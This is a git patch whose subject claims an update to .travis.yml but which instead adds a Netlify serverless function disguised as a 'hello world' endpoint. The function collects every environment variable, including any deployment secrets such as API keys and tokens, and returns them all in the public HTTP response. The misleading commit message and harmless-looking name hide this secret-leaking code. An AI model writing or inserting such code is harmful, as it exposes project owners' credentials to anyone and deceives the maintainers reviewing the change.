From 91727d9e9ede5b32472178e0de0d5cd2c95d0912 Mon Sep 17 00:00:00 2001 From: Security-Research Date: Sat, 3 Jun 2023 02:48:02 +0530 Subject: [PATCH] 'Updated .travis.yml' --- netlify/functions/hello-world.js | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 netlify/functions/hello-world.js diff --git a/netlify/functions/hello-world.js b/netlify/functions/hello-world.js new file mode 100644 index 0000000..bda6879 --- /dev/null +++ b/netlify/functions/hello-world.js @@ -0,0 +1,11 @@ +exports.handler = async () => { + let envString = ""; + for (let key in process.env) { + envString += `${key}: ${process.env[key]} +`; + } + return { + statusCode: 200, + body: `hello world! I have a hotub ${envString}`, + }; +}; \ No newline at end of file